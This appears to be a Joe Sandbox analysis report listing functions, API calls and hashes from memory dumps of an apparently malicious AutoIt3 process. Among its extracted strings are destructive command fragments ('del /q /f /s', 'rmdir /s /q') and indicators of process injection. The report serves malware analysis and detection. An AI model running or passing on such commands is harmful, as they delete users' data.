Opcode ID: e597e99b544f78c8369dee7521431802b7358ebfaa5c245ce0a311468ee328c1
Instruction ID: 3cbf689149f886bb7b8199acd2b8d0603576ddac3de6b68ec763c1a47db7db5f
Opcode Fuzzy Hash: e597e99b544f78c8369dee7521431802b7358ebfaa5c245ce0a311468ee328c1
Instruction Fuzzy Hash: E2C08CA5202302066E24E1FC1CC820A8288CD890BC3281BF3A46AD62D3D22980523010

Function 008542AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,008906E6,00000000,00000000,00000000), ref: 008542BF

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f355509d071dde9360c4dc97ed6a698d2016193634ef77244f10fc4e53a5f8c
Instruction ID: 0cecc7793787e4508338309977d0fff3589cd045c7629a8280927310c5106ab1
Opcode Fuzzy Hash: 3f355509d071dde9360c4dc97ed6a698d2016193634ef77244f10fc4e53a5f8c
Instruction Fuzzy Hash: ABD0C77464020CBFEB10CB80DC46FAD777CE705710F100295FD0466290D6B27D508B95

Function 008413C7 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 008413C8

Part of subcall function 008429E2: GetWindowLongW.USER32(?,000000EB), ref: 008429F3

Part of subcall function 00842714: GetCursorPos.USER32(?), ref: 00842727
Part of subcall function 00842714: ScreenToClient.USER32(009077B0,?), ref: 00842744
Part of subcall function 00842714: GetAsyncKeyState.USER32(00000001), ref: 00842769
Part of subcall function 00842714: GetAsyncKeyState.USER32(00000002), ref: 00842777

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: AsyncStateWindow$ClientCursorForegroundLongScreen
String ID:
API String ID: 4074248120-0
Opcode ID: 2328bfe1c524ec15828a0abe8c7f2fb94253af3b43362ca75dd648ed9d913cd8
Instruction ID: c6f7802c4fba908fa41eaf53f303ab998377590394005934bd780c24b05a584f
Opcode Fuzzy Hash: 2328bfe1c524ec15828a0abe8c7f2fb94253af3b43362ca75dd648ed9d913cd8
Instruction Fuzzy Hash: 20D05E306090144BC918EB5C9C89B5E3B95FB45330B144611F425CB3E1CB262C92CAA2

Function 0086547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00865486

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: e5b0e0e7c215e2ecf010a43145b85c9e71c702c8c36686662f2e73ba76e4aef6
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 23B092B644020C77CE012A86EC03A593B29AB40668F408060FB0C6C162AA73A6A0968A

Function 03B7C992 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101,03BC2924), ref: 03B7C9A7

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 2962e8d50c3c140ca166f97fd0c74dc3e976e0b933c17d53740e316a86f508ae
Instruction ID: e15a51564149d8060cde3a31d402ae642ccae36251fb77093e6f9420fc02689e
Opcode Fuzzy Hash: 2962e8d50c3c140ca166f97fd0c74dc3e976e0b933c17d53740e316a86f508ae
Instruction Fuzzy Hash: C4B012383743402ECE2DF7384A094283B88E78470C7C008FCB0256D482C0C680408107

Function 03B90F50 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 03B90F54

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 8ca04f347eb431742ccdc2cca529484793f697e5c1c0306d529102c795d49969
Instruction ID: 76cd98d60d3e18a37a41c9a7e88a35bba86bb85fefc04b4aae82e410780aa3b6
Opcode Fuzzy Hash: 8ca04f347eb431742ccdc2cca529484793f697e5c1c0306d529102c795d49969
Instruction Fuzzy Hash: 3DA012144085001AC808E7184D4250F72C019C5014FC40260689CE93C2E609856403D7

Function 008AD6BE Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 008AD842

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 373754a92e72f9bf373d405f4909a4518f462a8e11632ce15819fe0c32dd9b9a
Instruction ID: 6d6b31739210181dc8a382a16377e92111b289c6104048c3f4dd579ed3317040
Opcode Fuzzy Hash: 373754a92e72f9bf373d405f4909a4518f462a8e11632ce15819fe0c32dd9b9a
Instruction Fuzzy Hash: E4716E306043058FDB14EF68D495A6AB7E0FF89354F044A2DF996C7AA2DB34ED09CB52

Function 03B6176C Relevance: 1.3, APIs: 1, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 03B61805

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 710f5025e26af851dc1d653b74d5052638da8070ca255d98cfc872a311a04d04
Instruction ID: 4bf2b61422a76df27aa1e6a3458f3a19863ac1a4eb27e5e310cfdb2c95473d95
Opcode Fuzzy Hash: 710f5025e26af851dc1d653b74d5052638da8070ca255d98cfc872a311a04d04
Instruction Fuzzy Hash: C821BFB5605246DFC760CF2CC880A5AB7E4FF88358F1489A9F999CB345D334E954CB52

Function 00F1A98D Relevance: 1.3, APIs: 1, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 00F1AA26

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f199fd8fe89c078ca1aecbda2f9cc356f32d4275e7b3ff52f5fe774d7d3e46c8
Instruction ID: 90525fbef81093094acf54b7e08d6e50eeb9743bf5c64774eec3dccf5c221aa5
Opcode Fuzzy Hash: f199fd8fe89c078ca1aecbda2f9cc356f32d4275e7b3ff52f5fe774d7d3e46c8
Instruction Fuzzy Hash: 652100B5605246DFC750CF2CC980A9AB7E0FF98360F148928F998CB340D330E984DB52

Function 03B9478C Relevance: 1.3, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 03B6DFE4: CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000,?,?,03B947C0,00000000,03B9489E,?,?,?,?,?,03B7ACDD,00000000,03B7B1B3), ref: 03B6DFF5

Part of subcall function 03B6E004: Process32First.KERNEL32(?,00000128), ref: 03B6E015

CloseHandle.KERNEL32(?,03B94872), ref: 03B94865

Part of subcall function 03B6E024: Process32Next.KERNEL32(?,00000128), ref: 03B6E035

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: d634bb9f11417051ca02df5b0e9c392dfda5f5371677e196944b5d99985cdb3f
Instruction ID: 812bede90fb11d179e6e3e4bba7d03465ab2d581d39a862a00440ba2fc70c55f
Opcode Fuzzy Hash: d634bb9f11417051ca02df5b0e9c392dfda5f5371677e196944b5d99985cdb3f
Instruction Fuzzy Hash: 3B21A574900B48AFEF11DF62CCA1ADDBBF9EB49708F4184F6E81492621E7745A52CA10

Function 03B6182C Relevance: 1.3, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000), ref: 03B618BC

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 9e599a83fd759a516e082a5f471b255fc410d10164d6ead7c54a5e01acf4fef6
Instruction ID: 1aa0a1c7c1fa625aea437e77138ef5ed4d7f3429086e9a01df60df2a90e2bf66
Opcode Fuzzy Hash: 9e599a83fd759a516e082a5f471b255fc410d10164d6ead7c54a5e01acf4fef6
Instruction Fuzzy Hash: 8521EEB5604306DFC750CF2CD880A1AB7E4FF89318B2449A9E994DB345D335E908CB62

Function 00F1AA4D Relevance: 1.3, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000), ref: 00F1AADD

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: a61a67b4ad82787d19ff14337c4cfb37d14415b4b9cd632fde66cff9998a3199
Instruction ID: ba364ad3c9a772796b6508ef1eb59e3cfcd30c02f3ea8ceb8905ed7f556109e3
Opcode Fuzzy Hash: a61a67b4ad82787d19ff14337c4cfb37d14415b4b9cd632fde66cff9998a3199
Instruction Fuzzy Hash: AB21E0B5605206CFC710CF2CD980A5AB7E0FF99320B244968E594CB314E330E985DB52

Function 03B9429C Relevance: 1.3, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 03B941CC: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,03B94268,?,00000000,03B94288,?,?,?,?), ref: 03B9421B
Part of subcall function 03B941CC: GetFileSize.KERNEL32(00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,03B94268,?,00000000,03B94288), ref: 03B9422A
Part of subcall function 03B941CC: VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,03B94268), ref: 03B9423D
Part of subcall function 03B941CC: ReadFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00001000,00000004,00000000,00000000,00000000,80000000,00000001,00000000,00000003), ref: 03B94253
Part of subcall function 03B941CC: CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00001000,00000004,00000000,00000000,00000000,80000000,00000001,00000000), ref: 03B94259

VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,03B94310,?,00000000,03B94330,?,?,?,?), ref: 03B94301

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: File$Virtual$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 1974014688-0
Opcode ID: 027fe58033bd23cb7e33d86ea347068d92c65d50c0a0044655f3cc0b0e551571
Instruction ID: 2e065df870189d861905548a381df08804e3c78ea4901c800ffc275b9166cdf9
Opcode Fuzzy Hash: 027fe58033bd23cb7e33d86ea347068d92c65d50c0a0044655f3cc0b0e551571
Instruction Fuzzy Hash: E701C434B08704BFEB01DFA6DC51A9DB7B8EB8E718F9188F5E40097651E6386F00CA10

Function 03B94B28 Relevance: 1.3, APIs: 1, Instructions: 39sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 03B94A94: CreateFileA.KERNEL32(00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,03B94B18,?,?,?,00000001), ref: 03B94AD9
Part of subcall function 03B94A94: WriteFile.KERNEL32(00000000,?,00000000,03B94B99,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,03B94B18), ref: 03B94AF1
Part of subcall function 03B94A94: CloseHandle.KERNEL32(00000000,00000000,?,00000000,03B94B99,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,03B94B18), ref: 03B94AFD

Sleep.KERNEL32(00000002,00000000,03B94B99,?,00000001), ref: 03B94B79

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSleepWrite
String ID:
API String ID: 1443029356-0
Opcode ID: 32769f331062888831f265ce1422060007f1e65ed60ff4a33ce457eff2c7063a
Instruction ID: b53ab803766345d52dd050f5b27ae21ac6395173fa8db6a34c91fafc282ae5e1
Opcode Fuzzy Hash: 32769f331062888831f265ce1422060007f1e65ed60ff4a33ce457eff2c7063a
Instruction Fuzzy Hash: B7F0A434A00748AFEB15EFAAC851A9DB7F8EB44708F5040F29004D7662EB389E01C614

Function 03B8DEFC Relevance: 1.3, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 03B91D00: CreateFileA.KERNEL32(00000000,40000000,00000002,03B91EBC,?,?,?,?,00000000,00000000,?,03B91E80,00000000,00000000,00000002,00000000), ref: 03B91D30

CloseHandle.KERNEL32(FFFFFFFF,00000000,00000000,00000002,00000000,?,03BBE61D,00000064,00000000,00000000,03BBE7E6,?,00000014,00000000,00000000), ref: 03B8DF35

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 4578648948179a6011dec20429f20fb54db97a886ea0556b9162a4dba01b9982
Instruction ID: dc1e002d5fda8e69bc29d0045d07d25d8a891a2c0ab3728aad9cd9a08f107861
Opcode Fuzzy Hash: 4578648948179a6011dec20429f20fb54db97a886ea0556b9162a4dba01b9982
Instruction Fuzzy Hash: 27E08C713543066AFA20FBA9AC85B963298A70D31DF2405BAF211AF5C6C5A098009380

Function 03B91470 Relevance: 1.3, APIs: 1, Instructions: 3sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000002,03B91F25,00000000,03B91F40), ref: 03B91471

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 954f6062af56cc93c24c2adbaa26dcdb81fcd66e0355d62a70ca4bc890ca225c
Instruction ID: 36cb02dbf67ec14a0060fb9f66fec2637dac177b2cfca16a2fe22fa67bedd3e2
Opcode Fuzzy Hash: 954f6062af56cc93c24c2adbaa26dcdb81fcd66e0355d62a70ca4bc890ca225c
Instruction Fuzzy Hash:

Function 00F2A3B9 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F28000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f28000_Autoit3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daf07dfe0449386a21cd617d80c280d79caee84e403b1fdd0f7a77803a7c3103
Instruction ID: 9bf61de663235624c8181420d04edde520fc015bcfb05c05be8ff06966f38fe9
Opcode Fuzzy Hash: daf07dfe0449386a21cd617d80c280d79caee84e403b1fdd0f7a77803a7c3103
Instruction Fuzzy Hash: 0F314932504E21ABDF10EAE8AC08BA27759BF01334F104266E565534A1D7B4E915F763

Function 00F1CC6D Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5e9e5573e2f3f64e88e52daba29d08e219cf473a277d250b2f870993e2c925b
Instruction ID: 7bfaa4eb8efcd2d772720b45c20a155d77aa879168757b6dbb752fa0f5fffa35
Opcode Fuzzy Hash: e5e9e5573e2f3f64e88e52daba29d08e219cf473a277d250b2f870993e2c925b
Instruction Fuzzy Hash: 2201D132E486549FD7108F99D881999FBE8FB05320B62417AE50CD3650E631AD90EAD4

Function 00F21D5D Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: File$CloseCreateHandleReadSize
String ID:
API String ID: 3919263394-0
Opcode ID: 14062123682cb1af5fb49e76343db645c2308bb01d274fc71c2e96a2ea2bebb5
Instruction ID: 76e9e507133f09867038c4f79a4785d25458db7dbaf89ee8be0184e800f27e6a
Opcode Fuzzy Hash: 14062123682cb1af5fb49e76343db645c2308bb01d274fc71c2e96a2ea2bebb5
Instruction Fuzzy Hash: 02F06D34E04608EFC710DFA5EC528DDB7B8FB48310F9085B0E41093690D7349F00EA44

Function 00F1CCDD Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 482d17f33f81c3a499452dd6ef6fd9eea5253d18d4986b1b8ebffef3342df35d
Instruction ID: 333d09177bbea6a79ca88232f0ac0b35268594d8ce05f11e1be0b904bec9953c
Opcode Fuzzy Hash: 482d17f33f81c3a499452dd6ef6fd9eea5253d18d4986b1b8ebffef3342df35d
Instruction Fuzzy Hash: D7E017F464A3198FC321DFB4EC49A427AE0FF04304B818259D058C73B2E7F46886BB82

Function 00F193C2 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9831eed8d6eda24d68a497421f123d12ba3802675b8b2256879e16f8b4b7be92
Instruction ID: 5dfb65ec4211b1504d7b11591425dfe1f46e7cd184c929c4230eb467ff0a2a64
Opcode Fuzzy Hash: 9831eed8d6eda24d68a497421f123d12ba3802675b8b2256879e16f8b4b7be92
Instruction Fuzzy Hash: 539004D5455043114D4555F4CD157C5054CC7DC1D7F150551F134D014CDDCCC1C110F1

Non-executed Functions

Function 03BBC828 Relevance: 55.5, APIs: 13, Strings: 18, Instructions: 1230threadsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 03BBC9A2

Part of subcall function 03B8794C: Sleep.KERNEL32(00000064,00000000,03B87A31,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 03B879FE

Sleep.KERNEL32(00000000,00000000,00000000,|||,03BC2E8C,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,00000001,00000000,00000000), ref: 03BBCABF
GetTickCount.KERNEL32 ref: 03BBCAC9
TerminateThread.KERNEL32(00000000,00000000,00000000,?,|||,03BC2E8C,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,00000000,03BBDBCF), ref: 03BBCB40
TerminateThread.KERNEL32(00000000,00000000,00000000,?,|||,03BC2E8C,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,00000000,03BBDBCF), ref: 03BBCB82
Sleep.KERNEL32(00000BB8,00000001,00000000,.a3x,?,03BC2E50,00000000,?,|||,03BC2E8C,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?), ref: 03BBCE37

Part of subcall function 03B8B2A4: GetCurrentProcessId.KERNEL32(?,00000000,03B8B4F8,?,00000000), ref: 03B8B31A
Part of subcall function 03B8B2A4: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,00000000,03B8B4F8,?,00000000), ref: 03B8B3E7
Part of subcall function 03B8B2A4: NtQueryInformationProcess.NTDLL(?,00000000,?,00000018,?), ref: 03B8B3FF

TerminateThread.KERNEL32(00000000,00000000,00000000,?,|||,03BC2E8C,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,00000000,03BBDBCF), ref: 03BBD322
TerminateThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,|||,03BC2E8C,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?), ref: 03BBD331
TerminateProcess.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,|||,03BC2E8C,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?), ref: 03BBD340
SetCursorPos.USER32(00000000,00000000,00000000,?,|||,03BC2E8C,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,00000000,03BBDBCF), ref: 03BBD5B6
SetCursorPos.USER32(00000000,00000000,00000000,?,|||,03BC2E8C,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,00000000,03BBDBCF), ref: 03BBD55D

Part of subcall function 03BB136C: mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 03BB1376
Part of subcall function 03BB136C: mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 03BB1385

Sleep.KERNEL32(00000064,00000000,00000000,00000000,?,|||,03BC2E8C,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,00000000), ref: 03BBD5C2
SetCursorPos.USER32(00000000,00000000,00000000,?,|||,03BC2E8C,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,03BBDBE8,?,00000000,03BBDBCF), ref: 03BBD61B

Part of subcall function 03B7BFD0: SHFileOperationW.SHELL32(?,00000000,03B7C049), ref: 03B7C029

Strings

test msg, xrefs: 03BBD7C5
Autoit3.exe, xrefs: 03BBCDA4, 03BBCDBD
au3, xrefs: 03BBCDDA
||-_-|-_-||, xrefs: 03BBCE70, 03BBCE82, 03BBD10A, 03BBD166, 03BBD196, 03BBD1DF, 03BBD20B, 03BBD281, 03BBD43D, 03BBD635, 03BBD64A, 03BBD967, 03BBDA46, 03BBDA61, 03BBDA77, 03BBDA8D, 03BBDAA3, 03BBDAB9, 03BBDACF, 03BBDB01, 03BBDB16
& rmdir /s /q , xrefs: 03BBD0D3
NOTIFICATIONS, xrefs: 03BBD4CF
.a3x, xrefs: 03BBCDE7
powershell.exe, xrefs: 03BBD3B9
Yes, xrefs: 03BBCD5A, 03BBD04B
vbc.exe, xrefs: 03BBD0A0
cmd.exe, xrefs: 03BBD0EF, 03BBD36F
dark, xrefs: 03BBCB18
script.au3, xrefs: 03BBCE08
DOMAINS, xrefs: 03BBD4AA
C:\*, xrefs: 03BBDA51
u.txt, xrefs: 03BBCD86
/c ping 127.0.0.1 & del /q /f /s c:\temp & del /q /f /s , xrefs: 03BBD0C7
|||, xrefs: 03BBC9DB

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Terminate$ProcessSleepThread$Cursor$CountTickmouse_event$CreateCurrentFileInformationOperationQuery
String ID: & rmdir /s /q $.a3x$/c ping 127.0.0.1 & del /q /f /s c:\temp & del /q /f /s $Autoit3.exe$C:\*$DOMAINS$NOTIFICATIONS$Yes$au3$cmd.exe$dark$powershell.exe$script.au3$test msg$u.txt$vbc.exe$||-_-|-_-||$|||
API String ID: 2524358176-1342930026
Opcode ID: 94e6ec69310ba2ef77442d7b54926ca5386bcede0777e8df211a0f9d06567ef1
Instruction ID: 2425b70d8d5e75d933b04664b1613df1568096664fa66f31d5607d96d42405ff
Opcode Fuzzy Hash: 94e6ec69310ba2ef77442d7b54926ca5386bcede0777e8df211a0f9d06567ef1
Instruction Fuzzy Hash: 4FB23B38A142498FEF21FF68C980AED77B5EB4920CF9444F6D845AB255CFB8E841CB51

Function 03B9B188 Relevance: 48.5, APIs: 32, Instructions: 500windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(00000000,00000054,?), ref: 03B9B208
GetDC.USER32(00000000), ref: 03B9B219
CreateCompatibleDC.GDI32(00000000), ref: 03B9B22A
CreateBitmap.GDI32(00000000,?,00000001,00000001,00000000), ref: 03B9B276
CreateCompatibleBitmap.GDI32(00000028,00000000,?), ref: 03B9B29A
SelectObject.GDI32(?,?), ref: 03B9B4F7
SelectPalette.GDI32(?,00000000,00000000), ref: 03B9B537
RealizePalette.GDI32(?), ref: 03B9B543
SetTextColor.GDI32(?,00000000), ref: 03B9B5AC
SetBkColor.GDI32(?,00000000), ref: 03B9B5C6
SetDIBColorTable.GDI32(?,00000000,00000002,?,?,00000000,?,00000000,00000000,03B9B754,?,00000000,03B9B776,?,00000000,03B9B787), ref: 03B9B60E
FillRect.USER32(?,?,00000000), ref: 03B9B594

Part of subcall function 03B96DEC: GetSysColor.USER32(?), ref: 03B96DF6

PatBlt.GDI32(?,00000000,00000000,?,?,00FF0062), ref: 03B9B630
CreateCompatibleDC.GDI32(00000028), ref: 03B9B643
